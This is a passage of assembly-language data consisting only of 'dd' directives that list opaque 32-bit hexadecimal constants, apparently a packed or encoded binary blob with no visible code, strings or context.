0C88545A2h, 0AEB263B0h, 49DCC710h dd 49E1F7E1h, 552DEB05h, 0F67D6AC2h, 0F71121B1h, 0E485516Bh dd 4C632879h, 71BB2B07h, 51A1A196h, 0E7ADF5C7h, 54DEDE7h dd 911676C1h, 0F5C57521h, 37F7F8F4h, 0B5B4E2A0h, 79EFC7DFh dd 828CC787h, 67DE700h, 0B0AAEDE2h, 0E3067DA5h, 36C7E7EDh dd 0EDA1419Ch, 516FA189h, 8A78BD23h, 474565B1h, 171F0D8h dd 0D0C56DA5h, 0CED725ADh, 0FCFC6E8h, 69666116h, 0BEADD644h dd 6B71EBE7h, 0D7DF7893h, 0C18669ABh, 0ADE7CDB8h, 31854149h dd 4C71E7AAh, 0FFEDF544h, 0EE61E7E7h, 0C7882D40h, 0EA8410EDh dd 65E739B6h, 0ADD0C741h, 616BE7DCh, 0A438E9C6h, 6CA7F8F7h dd 90EE0FBCh, 0F1047166h, 0A3E7F8EDh, 35DBC769h, 49A5F77Ah dd 0E4ADD205h, 0FE6D22E7h, 83F7ED93h, 0C5C6A04Ah, 32F7252Dh dd 2DAD74ACh, 51E6F707h, 972D8572h, 0FE792A61h, 0D7BB6D66h dd 0EC8570DFh, 63A01F6Dh, 0BED2C569h, 3004E731h, 0E4EDA423h dd 5456BE7h, 5D93BCEDh, 0F885416Bh, 6BE7DE37h, 7FC14479h dd 0BA3A7F9Eh, 9EF34172h, 87796B92h, 0F7DF07D4h, 0A6414964h dd 2940A1C3h, 0BEF9C579h, 656BA01Fh, 9E38C1C7h, 729BC341h dd 0ACD6ED86h, 5992616Eh, 0A4F7DFB6h, 2DDA326Dh, 0F00EE7E7h dd 95ED9D3Dh, 7275A45Dh, 93D6B67Ah, 0B9687564h, 61F707EDh dd 2DACB75Dh, 41E4F7F8h, 1AAD74AEh, 8545E2E7h, 0E7F52DCDh dd 885075EEh, 8DE72F83h, 0ED9D2FABh, 5925E7B4h, 86DF0C5h dd 46400B80h, 62FAEDCFh, 0EE06E411h, 0E5D7A56Dh, 0C3C8C67Dh dd 0A0E3A0E2h, 36ADAC73h, 56DA621h, 0D76634F8h, 0CFC64DE5h dd 0EE772F1h, 0ADCDC4E4h, 0EBC9F7F7h, 9379A727h, 0C594C5E7h dd 0F787BEE8h, 802B6120h, 6D9174ADh, 2DD9C479h, 0FC462172h dd 19EDFD04h, 2251EE21h, 0C7496DB3h, 0A0B834D0h, 6BE7D4ADh dd 2DF7046Dh, 55E1E245h, 0D5B6FB04h, 0F8A0C0F7h, 0D7C56D65h dd 0CD075750h, 0D1F7B32Dh, 0ADD5C700h, 616BE7FAh, 0B682E484h dd 0C741E4E7h, 4DBDB4D6h, 25D7C48h, 87D7E2F7h, 36D285C4h dd 949F40E4h, 8BFAD286h, 0A85DA461h, 7113FA86h, 0CE47596Bh dd 7B5036C4h, 37AF8E5Ch, 61A2B80Ah, 8D3FF805h, 2C69E421h dd 2CCDED8Dh, 0C5857562h, 0ECD7A4EDh, 0ADD18541h, 239E30A2h dd 0B87ADE45h, 7BD4FEE7h, 22B9ED79h, 517D4128h, 0D8D724ADh dd 3778B22Ch, 0C30BF7D2h, 0B57692B5h, 0C4B03BE7h, 1C232DF5h dd 0BD5A59A1h, 93D0FD2Dh, 2DF184B0h, 49292D07h, 0E6ADF405h dd 4575E2D7h, 0D74134C1h, 0E986B4BBh, 0D0E709F4h, 2DA630D8h dd 4926F77Ah, 3AF7EF05h, 0C4E876D7h, 2172EDE4h, 0F0C74968h dd 0A52059ADh, 0FCC1C66Dh, 0FC58F1F1h, 0CD2D8DA4h, 0FB792AF7h dd 6CBCB242h, 89C8512Ah, 863848Bh, 2DCD4664h, 5DEED70Eh dd 1FADA70Eh, 0B9496FE7h, 0F7D7B435h, 8279416Dh, 6F306AF7h dd 0FADD0761h, 69E87056h, 872D6578h, 0B85961E7h, 0AF39ED90h dd 2478452Eh, 9FF76A6Dh, 6DE6051Fh, 28DEE77Ah, 0E0ADA3F6h dd 1B4D26F7h, 0C7AAED62h, 0D7453B99h, 0A2306C76h, 74CC4561h dd 0C89FE7DDh, 0DFFACB85h, 605166D7h, 0C7663C69h, 0DC47D43Ah dd 0A0C7F1F4h, 2DFE4645h, 0C485B3EBh, 95AD457Fh, 19792B5Dh dd 0E7996DAEh, 9FA0DCF0h, 61AC1C2Dh, 3683DE61h, 6492D7B7h dd 0C8ADDCC7h, 55E83B21h, 0A15FB640h, 0E506FCC6h, 0EDE725ADh dd 0C1916255h, 0D0DF4DDDh, 0ABADD9C7h, 8ECC12F7h, 0D71AB18Ah dd 0CD8545E2h, 0A6B0036Dh, 0ED90FC69h, 0DC3981B6h, 2387452Ah dd 0C4ECB671h, 0F7C4E7C3h, 66E0512Bh, 6DF7E3ADh, 6DE8C579h dd 94CDF776h, 0F7FCDD87h, 0C0D09D41h, 0E774408Dh, 0D1065D6Bh dd 0A9752CEDh, 0ED2D0D65h, 69AD656Ch, 7800D207h, 8D51A4E7h dd 0E7A0F490h, 7321412Dh, 0A4E77AF7h, 0F1E8C575h, 0FB31F702h dd 80C7CEC5h, 464831F7h, 81416DC3h, 0D604F050h, 0EEC7DFEDh dd 0AD114C65h, 0E7C6D7BAh, 3E67C9C6h, 0CC4C02D7h, 0F7DFBFA0h dd 0B5014524h, 0C7A1A8ADh, 2D4ECF80h, 596BE773h, 7767C904h dd 0E1D7C6D7h, 0F7EA5F88h, 0C587CBBEh, 27934A87h, 0BFAFCC71h dd 75A561B3h, 23EDF604h, 86416B61h, 0B154B4ECh, 912170BEh dd 6B93D42Dh, 37F6857Dh, 696B2561h, 0A1C6F946h, 6B69A440h dd 9DF77685h, 9D4051A9h, 69521C50h, 0B4E8C569h, 556DD7B0h dd 0A63BE746h, 602012D7h, 302A2DB3h, 8CE21CEDh, 90309174h dd 0ADB33374h, 0CC9FC71Fh, 8C2D8D38h, 658B9E7h, 22C5EDD2h dd 0ED85E473h, 6AD7F334h, 0ADA20075h, 6563E7E4h, 0E38292E5h dd 879E1E7h, 0A1A26DACh, 0AEA0DC73h, 0A0C7E6ADh, 2D8D8871h dd 48D4C7BFh, 4AED8D21h, 847DA593h, 0E7A9F2D1h, 0E68450B9h dd 0E033B62Dh, 0F1FD8461h, 0CC7D81B4h, 4CFFA3C8h, 464431F7h dd 0A3ABB3DFh, 0D7047562h, 73E72274h, 0B4CD45F4h, 785DD7EDh dd 0D77E3028h, 0C275EAB1h, 0C7E2F49Eh, 0D904F03Eh, 24A1F4ADh dd 0F2D48479h, 79E0E7DBh, 142D992Ah, 46C69891h, 0E74EADEEh dd 0F50644B2h, 5DF7DAB4h, 36DD0508h, 69A0C739h, 28EDDE84h dd 375922E7h, 0F73AF3ABh, 0BBEB6926h, 0E4E736B4h, 0EDA1BD41h dd 0ECBB10A7h, 64B6B477h, 4F3FAC7h, 23D0EDC0h, 0F2C5D4B1h dd 60E7863Eh, 7EEE0665h, 0D518B0F5h, 852D91ECh, 21C813CCh dd 31DA36B9h, 0F7C6BB25h, 2FE779C1h, 0B0CC8449h, 6811B0FEh dd 0EA2DC9C7h, 0C464FBE0h, 0D7DBB4E3h, 0E0C67D2Ah, 1C712EADh dd 0B4C40414h, 4964E7B6h, 26ADE405h, 0C56DAE4Ch, 0B19CC3DCh dd 0E90549EDh, 0CCC17044h, 3CCA47ECh, 7562D705h, 0C26D9AA3h dd 0C7F8CC8Dh, 0D0618FE7h, 0DC6365A9h, 0D3D08FADh, 0ADD604F0h dd 5529B05Dh, 98AD59EAh dd 425963A3h, 0C7502D8Dh, 0FBC70829h, 1A16AB2h, 1F8C6C8h dd 0FC441EF1h, 0E1F4C184h, 0E918EDF7h, 0F769AD84h, 54D3DC31h dd 0ACE775F6h, 7737E30Ch, 0FF7AF7A9h, 4A4A8B3Fh, 374DE160h dd 0D7667CC0h, 94D607B4h, 0ACE7A1F6h, 0F8F5B704h, 0AF6F3D04h dd 882D93AFh, 0C549A2E4h, 61414CC7h, 4BE051ABh, 0EB211830h dd 2D910A4Dh, 456B255Ah, 783CE186h, 0B565AAA1h, 0A1F5AD68h dd 0E6C5D85Ah, 0CD70D6Dh, 0B08DBDCBh, 59E6E7ABh, 856DEAC5h dd 4A7C2C7h, 2159F1FAh, 0CFC55561h, 36F0DD34h, 2DCDC4D0h dd 4523D77Ah, 0E67B9BABh, 1E552DF7h, 0A15FEDACh, 0CF06E4B5h dd 22C7DE70h, 33951479h, 0D404F7EBh, 0BA6DEC85h, 464528E7h dd 0D03A6DFFh, 90D1652Ah, 2AD7A2ADh, 6DA6F265h, 41A5A094h dd 3AB3EA05h, 0A06528D7h, 900FB19Ah, 0F5C67DEDh, 6BA18FEDh dd 0ADDAC565h, 456BD70Bh, 0BAC1DF45h, 0AA8422D7h, 0C7D2B493h dd 0F285E558h, 26F75271h, 0EDD24604h, 54BBA3EBh, 146DAE94h dd 6B420D7h, 0D7D580DBh, 0FAC7ADFDh, 0ED2339ADh, 0AD91486Dh dd 0E844D767h, 0FF2DCD84h, 0E2556AF7h, 0E733B14Bh, 9642B4E2h dd 980DD3C3h, 26FF46F6h, 84461D5Dh, 0EDCCDDC4h, 866D6BD7h dd 0F74D2DCCh, 9CC85031h, 0A540237Eh, 0F1DC8479h, 512491ABh dd 0A9795E57h, 0C0516E01h, 0E7F5F66Dh, 0F7447DA5h, 96A14136h dd 8684EEE0h, 0D863F7B8h, 0BB7EFE06h, 45B0C423h, 932B38F4h dd 0F7847D6Bh, 0FEC7E674h, 5AC684E4h, 4566F7EEh, 2CAD933Bh dd 13E0BBD7h, 0F7F83C9Bh, 0D3C55924h, 0A7E7B06Dh, 0EF2846Dh dd 0AE4FC7E2h, 91F6706Ah, 8AAB03E7h, 13D003BAh, 8D5E89CBh dd 43F7FC2Dh, 0B18BC8A2h, 64F83149h, 0CF04F004h, 21412FF7h dd 0E717378Eh, 0D744D719h, 84D7A374h, 0FA8373D7h, 4923A154h dd 0B5EDE246h, 46C3B11Bh, 0F7E9ADC1h, 0A5A26CC6h, 0E29D906Dh dd 6D845961h, 6966F7FDh, 0E6FFEBC4h, 6DB8411h, 142B2DF5h dd 0D6879ED1h, 29E7D6BEh, 0B29F384Dh, 69A5EE79h, 12ADF484h dd 0C59487A3h, 0E2BDF4C1h, 0DF847165h, 9C9178BEh, 2DD94490h dd 41AFC041h, 7CB5B321h, 0C7882300h, 0E7B22DF8h, 8EE8105Ch dd 6AF7852Dh, 0F061EB79h, 24ACE78Bh, 0DFADF4C5h, 5B65ACE7h dd 0F7B3ADB8h, 0D8C6AC81h, 0A2218B73h, 0B4C44575h, 0AC9F764h dd 60C0BEB4h, 0A308F7E7h, 31A94CC6h, 840869E7h, 60E7EA6Dh dd 0ED719855h, 59EC11CEh, 0F809DB45h, 0AB4965F7h, 0E7EAEDB0h dd 8EB85560h, 0D1F7652Dh, 2DE784DCh, 556321E8h, 50EDDDC6h dd 84F435A1h, 91A26DF4h, 71E15DEFh, 2AD715F4h, 0C4EB0571h dd 55E99922h, 4AED6ADAh, 0E165A5C7h, 277ADACh, 0CE44B022h dd 0A1C7E62Dh, 2D400159h, 0A2F8C7C2h, 646DEF06h, 0C5516DC7h dd 0E76B6DC1h, 0EBC7C4F4h, 6DC774EDh, 6DEDC55Dh, 79E9B1B2h dd 0C4ADA360h, 6E8C5E7h, 21F4ADFBh, 0E04575A1h, 24F74772h dd 0F6556065h, 6569D76Bh, 47ADA563h, 6565E7h, 0A1C72D90h dd 912065E1h, 6BD76FADh, 6DE5C549h, 75A3F79Bh, 0EDE904h dd 0E371A1B1h, 0E7072DCAh, 0E5C445E8h, 0E6E7EB6Dh, 2DDF0475h dd 7164E7EBh, 0F7EDE404h, 0C54D6DC7h, 0E775ADE5h, 0C2C7C4F2h dd 60D758B6h, 2D780071h, 5128E7E5h, 906DF585h, 6FC2893h dd 0F7A52DE1h, 0E4C575A2h, 9EA36F86h, 34916863h, 49A2237Bh dd 0CB06D285h, 0B171A741h, 41AFED69h, 0EC06846Dh, 2AE2876Dh dd 0ADEDC741h, 80E2E7E4h, 0E5EDAD62h, 6259EB81h, 0C7E734D2h dd 0A0EDEC7Ah, 6D508F6Dh, 0ADD10665h, 0CC12F7E0h, 0B06DEC45h dd 2A5DE1A1h, 0E718EDA6h, 0FC44D8C7h, 0B26C88F7h, 0F39682C8h dd 1059D7E1h, 0E0EDB8ADh, 0C584FBA1h, 0E70271C7h, 0A6F441E9h dd 27F76A6Dh, 6DF1C559h, 696AE0EEh, 72DEEC5h, 4645E9F7h dd 13396DDEh, 0AECC5120h, 0A2F7156Dh, 2DE3C57Dh, 5127F725h dd 0A5ADE6C7h, 4DFFBE7h, 0E786EDF4h, 0EFC56161h, 6DE7A16Dh dd 0B489BB79h, 4965A932h, 83ED9DECh, 87456320h, 53F13CEFh dd 0E6C645E5h, 1E5121EDh, 6DEB87B0h, 5122732Eh, 0D73C903Fh dd 0C569A2E7h, 0F7A52DE3h, 0E3C749A1h, 0E1F7E6ADh, 0ED4B6349h dd 45A561CFh, 0A4ADDCC4h, 8645AAD7h, 0F7AE77C0h, 81E045E1h dd 65C7FAADh, 0ADCF8741h, 7920C7FCh, 0E52DDB06h, 0C66D6DD1h dd 0E7677FD9h, 0E0C5CFC9h, 0E1F7E51Fh, 2DA6EE41h, 17E202A0h dd 0F76DC445h, 0A165E6F7h, 246ADB6h, 816241A0h, 0A8235B2Dh dd 0F8F28465h, 983CC71Ah, 0DFEDD506h, 0C16968D7h, 71FB769Fh dd 9C337520h, 0A1C7863Fh, 0ADF5C561h, 0F4FBA1E0h, 77BFEA86h dd 0EC84F063h, 0E71577AAh, 0A7AFF0CCh, 2BD76E6Dh, 0EDB14228h dd 0FCC763DBh, 268099EEh, 7B4567E2h, 0E7332DA6h, 0CF44516Bh dd 0E2A1B06Dh, 0FFFE842Bh, 0FB467D89h, 2134C284h, 0BA5925E0h dd 5FC1A7AEh, 0E5C6FC80h, 0A9C7E9EDh, 76EDC465h, 0AC6C7D32h dd 35BF83A2h, 568CEF7h, 0C7342DDAh, 0E804D8B5h, 6B617DEDh dd 0FED90459h, 69E6617Ch, 25F4F7C4h, 0AF4968E7h, 0D7EAAD5Bh dd 0D9444CDCh, 0F3E7CDFEh, 0AD93B363h, 6DE1D7E4h, 6CAD9869h dd 865DAAD7h, 0B0E4C7DCh, 996A7566h, 0EBD725ADh, 77B975B4h dd 55E13301h, 7FADB209h, 3D49E6E7h, 0D7472D8Ah, 0A0EAD307h dd 0CB4235F7h, 27554ECDh, 77D565DBh, 0A7FECB86h, 86C64A23h dd 56077C1h, 0D6C5E814h, 0ADA1E534h, 0C6CA4551h, 0C7158279h dd 33EDF646h, 0FB443A63h, 71EEBE66h, 2C8556Fh, 0CA213127h dd 27D18478h, 656B65DAh, 0D3C9E804h, 85E415E7h, 0D776F4F1h dd 0B622A924h, 0E05DDBB7h, 2DCD8479h, 3827E722h, 0E2F79495h dd 54961E7h, 0E7262DD5h, 0EDC6612Ch, 22E7DAB4h, 0EDDE456Dh dd 5D22F715h, 677CF485h, 0C5796DC7h, 0E7C4ADE2h, 0DC0471E9h dd 0A1D7C72Dh, 0FBDC065Dh, 556DDA69h, 0A12D8E09h, 29A8AED7h dd 21A6F32Eh, 0F6845D6Bh, 252DF5C3h, 2D8D4A79h, 4D6FE790h dd 83F7DFF4h, 5649E681h, 0D7EE74BBh, 0D0443C6Bh, 0FE0ABADh dd 0EDAD6237h, 55EBF7DFh, 5D3E8409h, 0D1ADC541h, 7333ED48h dd 0E7B1A4A9h, 43F7C9C8h, 37C78527h, 0E8B5E7FFh, 0E4F4FCC5h dd 46C45291h, 0B325ADC6h, 3D6EE8BAh, 0A5F792EDh, 3CEF4745h dd 616A204Fh, 0B0768AB0h, 8651EAACh, 0F7D230E0h, 0F90645A2h dd 28A1DB2Dh, 0B0C74451h, 696BE7B2h, 142D8D70h, 8759E6A1h dd 0E7B514EEh, 0A782F499h, 0C581E0F7h, 3CAFA1CCh, 652EA1E6h dd 72F4F887h, 4445A432h, 0B3576DD5h, 0C585B00Bh, 0A5B8012Dh dd 2DB50961h, 796BF715h, 0DCBFFE87h, 4E4DE46Fh, 5F7873h dd 0E5467D21h, 0A2F70BADh, 3FD6C45Dh, 0E435A11Fh, 0A7FCC745h dd 5692A21h, 0A1E6B0C2h, 96416D61h, 35E7D9EDh, 18FB47F4h dd 20FCD7CFh, 0D9348C72h, 5143CD7h, 0A15978F6h, 0C10569AAh dd 6DB09DB0h, 7CE0571h, 7965C7B8h, 1FEDE0C6h, 849FB96Dh dd 0F7E378ECh, 83F8189Eh, 0EF12A26Dh, 0BAF24779h, 61AB2919h dd 2CADE547h, 54969BDh, 70432DE4h, 0A4D8716Dh, 0BAB0CEC8h dd 0ED6DD8F4h, 0A1672E2h, 0DA2DCB46h, 4756163h, 0E70AEDF3h dd 0A25D6120h, 68E7842Dh, 6D8D0955h, 0DC34F78Ch, 392DF107h dd 85756B52h, 0F7C76DDAh, 0D7C3C03h, 2E83572Dh, 0BBD70741h dd 6521F7C7h, 0E4ADCD46h, 0C71004E7h, 0E7D26DE0h, 0A9A46416h dd 0FCD7CBF4h, 0AD8D360Bh, 51EFD7DCh, 0DF5BB6A1h, 8A5D62C7h dd 0F7863490h, 47BF712Ch, 6D81E5B7h, 7BD1C775h, 45651007h dd 78ED99E0h, 3F5DA7F7h dd 5215AD5Ch, 0F686456Dh, 6BE70553h, 76C50561h, 45E5D77Fh dd 0C2DC544h, 47D85852h, 5F2E6DE3h, 0E684FC58h, 0A1E78603h dd 7AEF0565h, 65EDD725h, 4472F846h, 0A071EFF7h, 50306DACh dd 0F206756Dh, 6441EDADh, 759A8A5Dh, 1C15520Ch, 0FF3EFB85h dd 0C24D68E7h, 0C721F785h, 8DA86818h, 18C7E62Dh, 0EDA0D958h dd 712A1352h, 0ED83CD07h, 4D696A71h, 0E7E1AD8Dh, 0AD2849E7h dd 0C7620C77h, 0EDC2C6D0h, 55A9A374h, 0DF33C105h, 77925C7h dd 0E71ABADDh, 0B0E9E036h, 3BC7C5EDh, 2DA7A2B3h, 7963815Dh dd 0AD6D9DEFh, 5B65214Ch, 0D7F46D84h, 925F6035h, 26F705EDh dd 0ADF38455h, 55E5B1E1h, 0F4AD8D21h, 0F35D2CC7h, 0F7C648F3h dd 69318C7h, 650A3A6Dh, 0ADC70745h, 2A5FF72Ah, 0DAADC0C7h dd 0FC60FBD7h, 0D7DD3715h, 0D745756Bh, 6DD7DE34h, 0C3882261h dd 51ED7A71h, 202DC104h, 37E0B5E7h, 0C77FEDADh, 0DD85F00Ah dd 413EBFADh, 0EDEE4687h, 0E676323Bh, 1DADB96Dh, 3FF07122h dd 0C7DF3480h, 0F0C665EFh, 0E5E714B4h, 0BBD7C541h, 5969E705h dd 30B4D106h, 8534D3C7h, 0A1EDFED4h, 99935964h, 6AAC5B2Dh dd 0F4F4C769h, 45A47235h, 42FCC886h, 93FCB821h, 0E7FAF98Dh dd 0BFFC44F4h, 24F71FF4h, 2DEBC749h, 59ABC705h, 9B2DE485h dd 0C749A5F7h, 0E7FDF6EBh, 0AE606DADh, 2DF7546Dh, 2DE5C575h dd 75ED701Bh, 0ED6DE5C5h, 0C7492AF7h, 111C2DE2h, 0E9444DE9h dd 69E7FFEDh, 0AD6A7D61h, 6016F78Ch, 0A2ED9EEBh, 805121E7h dd 0C7FBAD96h, 0DDC6E0C3h, 2DF7A42Dh, 6DE00555h, 6DE99FF2h dd 86EDBAF9h, 0E665A6E7h, 0D7652D83h, 0D3C5796Dh, 0D50DA2Dh dd 0ADFD04B4h, 7DAA1113h, 4AB8E385h, 16D93C1Ch, 0E269EDB5h dd 0FE05F07Fh, 7039DBFh, 0EDF24608h, 59EBE7DFh, 0DFE4F407h dd 826D28C7h, 0D7ED6DA6h, 0C1C4D0B5h, 9AA1142Dh, 4956C9Fh dd 51E7B196h, 34748D00h, 0F040B5F7h, 9551F08Ah, 0F847DCB2h dd 6BA1631Ch, 6DC14655h, 0B03591A1h, 472DE5C5h, 2D887632h dd 0D7C3B492h, 0A4A1612Dh, 2161CDB4h, 6DAC7875h, 7565E7B5h dd 5EDE804h, 0C55561F7h, 0F714EDEDh, 0C68545E1h, 46E094C7h dd 6DE8C574h, 69A4E7B5h, 65FF990Dh, 2DF73BF7h, 0E7BD6DA6h dd 0A42A7DA5h, 0A160B0EDh, 0ED9E2D61h, 0EFFDC7A4h, 2AEDE604h dd 0C6C40091h, 85707CF3h, 0AA40EC30h, 0B3C74AEDh, 0B3B1A37Ch dd 0D41653DCh, 29ADF3C5h, 549AAC7h, 11052DEBh, 0E946C836h dd 6673DAADh, 0EDF10465h, 7DE4F7B8h, 9B34D544h, 65926F0h dd 0E738EDE5h, 0E4C74527h, 6B9245EDh, 6DE80569h, 6D25E7B0h dd 0F9F1D484h, 0CA4967E7h, 0F008ADB4h, 0F5C4512Dh, 4EE7B1EDh dd 0AD915870h, 7D669251h, 5470CDC6h, 0C55DA223h, 0C7102DCDh dd 4FA1612Eh, 5B8B60EDh, 2DE246C4h, 6472D795h, 0FCADC1C4h dd 575A161h, 6151B4FBh, 0C9C4696Bh, 0B683223Fh, 0B4A0C9E4h dd 0EAB9F7BAh, 0D62DE9C6h, 0A9E0D4F7h, 31F0DE74h, 0EE85F4C3h dd 67E089EDh, 0EDB54D59h, 692563FDh, 182DF705h, 0BE79EAF7h dd 0D7E7BF85h, 0A6A87CD6h, 0A3E7182Dh, 2DAD4949h, 0EBD1B1FDh dd 1F2DF4C5h, 0C871A1D7h, 232FADB9h, 926959A0h, 6BF791C6h dd 2DFE8661h, 616BC791h, 272DFD86h, 47169F7h, 0D7182DD1h dd 0A42951EAh, 91F7E0BEh, 0EDB56C60h, 51ABC718h, 66AD97E8h dd 884566D7h, 0C7E7AD92h, 0DEC559E2h, 0A203EBEDh, 0ADEBC541h dd 4892C72Fh, 0E0B6FD85h, 8649E6D7h, 0C7E77EEBh, 0D2C554DCh dd 0AAD7532Dh, 2DBFB77Dh, 4969812Eh, 72DF6C7h, 0E87168F7h dd 0E755AD7Bh, 0F944CC87h, 0B2306DEDh, 6DC6C5CBh, 0C0CCB1A1h dd 29F3E305h, 571A272h, 0D72906DEh, 0F2C4792Ah, 0E2E7FFADh dd 0F4BB1045h, 69A6E7A0h, 87ED2DB3h, 0EA7126F7h, 0D7A02D4Eh dd 9DE1C6B6h, 994E27ADh, 0B171AC6Ch, 6D6A2C0Bh, 0C4EDEAC5h dd 817D6BC7h, 0C0E737B5h, 5DA17DEBh, 25D7A52Dh, 77CCC771h dd 0D40EA164h, 0DD77D986h, 85C488E7h, 0E78DF4D0h, 0AECA7DACh dd 0A0C7E334h, 4C982F45h, 0E488A12Ah, 80EDEA45h, 0C5F4B3E7h dd 42E22DE0h, 0B091203Ch, 0F8C7ECEDh, 6DEC0687h, 4D68E7BAh dd 4AF1ADB5h, 3E7B4C7h, 0D7E26DA8h, 0A5837526h, 2CF7E2D2h dd 7719D945h, 0ECF7D056h, 69ADAEE1h, 627879A3h, 6A71364Ch dd 0FC85616Bh, 0AA42F1EDh, 6D6E6279h, 71AAC270h, 30EDF204h dd 0C56D63C7h, 0F7732DCDh, 583F75A8h, 0A2E00DF6h, 2DE24479h dd 9BA13017h, 145499F9h, 0C02221ECh, 0E7E0F887h, 931569E0h dd 791D13FCh, 31CE86D4h, 0F88AD7DDh, 1FF4E7C5h, 0C04122C7h dd 0D7D23495h, 0D8445D6Bh, 66D7E2B4h, 0ADD0865Dh, 516DD764h dd 546DE185h, 8584EF23h, 0F29AF1FFh, 4D754926h, 7FD70474h dd 4FB0E143h, 7966D7F4h, 62ADD1C6h, 61E8F7D7h, 0A30A07A7h dd 0CD8479E0h, 7FD74F2Dh, 0EDBDE244h, 5528FE89h, 0CA39B00Fh dd 8468B6A9h, 0F7EBF4CFh, 8E176B37h, 2BD77B39h, 6DE8C63Bh dd 4569E7BCh, 246DFC46h, 6965E912h, 0E00DFEA5h, 0E0C7A065h dd 0A2C71AB9h, 2DCDC575h, 142BD7B3h, 0DFEDAD30h, 0D361E0F7h dd 0F7DFED69h, 68D36161h, 0FDF7B5F4h, 2DCD8537h, 7FDF7ABh dd 8533C585h, 4645A68Ch, 0AE85EDCFh, 0C74645E7h, 0A7AE85EDh dd 48A4B961h, 6D6BE7EFh, 0EE48E485h, 0C54D6BE7h, 0E7E948E4h dd 0E4C56D6Bh, 6BE7E848h, 0C6EC064Dh, 4524E778h, 0DD2DD746h dd 464566AEh, 0AEDD2DCFh, 0C7464526h, 7923A72Dh, 0B0D9C4E4h dd 0E448F7F5h, 0DFAD6152h, 526529D7h, 615FAD6Dh, 0CDC417FBh dd 0FBE70A2Dh, 6D92E033h, 55A0AEDDh, 0F308857Eh, 47796BE7h dd 0E7F208C5h, 0C587596Bh, 6BE7FD08h, 8C58779h, 596BE7FCh dd 0FF08C5C7h, 52A4F4D7h, 0D7DFAD49h, 55526522h, 0A2D7DFADh dd 0AD515265h, 6523D7DFh, 0DFAD5D52h, 5265A3D7h, 0D7DFAD59h dd 13124520h, 78E7C56Dh, 0C6EC84E3h, 45ADE748h, 87AD63A2h dd 0A2456D6Eh, 6E87ED5Eh, 55A2452Dh, 0EC6E87EDh, 0ED40A245h dd 45AC6E87h, 87ED7FA2h, 0A2456C6Eh, 6E87ED6Ah, 61A2452Ch dd 0EF6E87EDh, 2D5CA245h, 0B74DC7FAh, 5E04FD47h, 4707CBF7h dd 0F71D04FDh, 89E204CBh, 3391E2EDh, 0ADF10436h, 902AC707h dd 6B6DE1C5h, 5C830C7h, 314474C0h, 0E88475A5h, 0B1F05FFAh dd 3BC407C8h, 75A1416Eh, 0B5DAEFC5h, 0B96DA5E7h, 0A20AD7Dh dd 6099592Ch, 15E78D70h, 0F7D00427h, 55A63144h, 65CAF284h dd 0B959ED81h, 82B82358h, 63625169h, 971173ADh, 0FAB6AE3Eh dd 3E94D7FDh, 0EED2FA84h, 85269711h, 0D7FCC2F7h, 0FA050294h dd 971179D2h, 0C2F78536h, 1694D7FFh, 6BD2FA85h, 85069790h dd 0D7FEC2F7h, 0DE061A94h, 242EEDADh, 0EDF9797Dh, 79E22C61h dd 132D0799h, 797DE728h, 2C61EDC5h, 209979A2h, 3E2E132Dh dd 0ED01D8A8h, 65622C37h, 0A06D0C98h, 0A9E0339Dh, 63472DE9h dd 0F5C6E4CCh, 0B1C7F1ADh, 6D6EE0FCh, 412D7188h, 47EDE5C4h dd 0C54DE5C7h, 0D7A736C5h, 0FDC66DEDh, 0A5E70FF1h, 2DCE4575h dd 0A86721E8h, 1A2DECC7h, 0C768F0F7h, 0C7A52DE4h, 0F3C57D6Dh dd 30E7548Ch, 0B4FA47E8h, 492BC739h, 0D72DE4C7h, 845DE7A1h dd 0B5682DECh, 0E8E0F136h, 30B5B0A4h, 6DEEC5C5h, 7B33D71Ah dd 999C93F7h, 0C47D2DF7h, 0BD45FEE9h, 0E6477527h, 0A2A1D3EDh dd 6DE6456Dh, 79A260D0h, 0A634F285h, 0C4C43EE7h, 6D3FADD1h dd 0FEC5756Eh, 0BBC7E5B7h, 0CCC85ECh, 4D65E7E4h, 9FED7462h dd 0C4A4AF9Dh, 0D7B3B4E1h dd 0E745652Eh, 0EA91256Dh, 6DCF4749h, 75EF91F4h, 256DE645h dd 0C545EF91h, 0E70DFFE2h, 9ACD79E5h, 0C4F7E96Dh, 6DCE4748h dd 4120D70Fh, 0DE6D64EFh, 0C57164E7h, 0F7A906DBh, 0F3069727h dd 6B2117ADh, 0ED90F441h, 0E4494DE1h, 0A50ECB05h, 0D4B020E7h dd 0D7A6F1BCh, 0ADE07401h, 4AF7C46Dh, 2D9A26DCh, 0ECC8E7F5h dd 472DD104h, 465DA1F7h, 0C7D56DE1h, 0F8C771A9h, 0A6812487h dd 77D18469h, 59A0D71Eh, 676DD3C5h, 0C6E442F7h, 0D795EDDEh dd 0CE8551A2h, 0E1F7D7EDh, 2DA46B49h, 51E5C79Fh, 0F26DD9C7h dd 45656E6Fh, 4101EDC5h, 0EEC7C845h, 0EBF7052Dh, 2DD6C569h dd 75E1C74Fh, 0BFADA7A0h, 8661A271h, 0F733ADFAh, 0BF2D9C22h dd 3E786C7h, 3FD806CCh, 0AC686F2Ah, 0F1BFBB0Fh, 4684A9C7h dd 0C79B2DC2h, 756FCCB4h, 2A7349C7h, 0ADB3A17Dh, 1068654Ah dd 7D2D4D4Fh, 0EE5569C7h, 0D0474FD5h, 8DCEF548h, 8B1D1BADh dd 3FCA054Eh, 7520A1C5h, 7AD83E0h, 0FF046D1h, 0A1BE2D93h dd 0E5857DA2h, 0E7F7C76Dh, 0EDB5CD79h, 552DE747h, 0C73FBCACh dd 0C4656DE7h, 0E71FFFF4h, 0A7697924h, 0E4E7F8EDh, 0ED056955h dd 480A3D29h, 542DC646h, 2955EDE7h, 6DBDED65h, 0A171652Eh dd 0E17177B4h, 0EDFC046Dh, 79604177h, 0EEEDF104h, 0C7656925h dd 0C7ED2DE4h, 0EF855A56h, 0E2C7BDB7h, 0B7EF8569h, 5DA2D77Bh dd 0BBA6E2C5h, 45656B31h, 0D7DD2DCEh, 9B4CED90h, 6DF7076Dh dd 2DCD849Ch, 7D2CE7A7h, 7F74A1A1h, 4445E4E7h, 0C70C2DC5h dd 0CAC5545Eh, 25F77F7Eh, 6DD94645h, 64B4C702h, 9C2D4D74h dd 0A17D6EF7h, 0D7DD81B6h, 0C504796Dh, 0ABE022ADh, 0EDA1617Dh dd 0E8B87324h, 1AEDAE17h, 47125C7h, 0C7FB01CEh, 0FB4760B4h dd 0A1D78706h, 6DEE4465h, 58583F92h, 0C7EDE306h, 0C5496BECh dd 0E75482CDh, 0FE06616Bh, 0F392FE6Dh, 3EE546F4h, 7D2CC78Eh dd 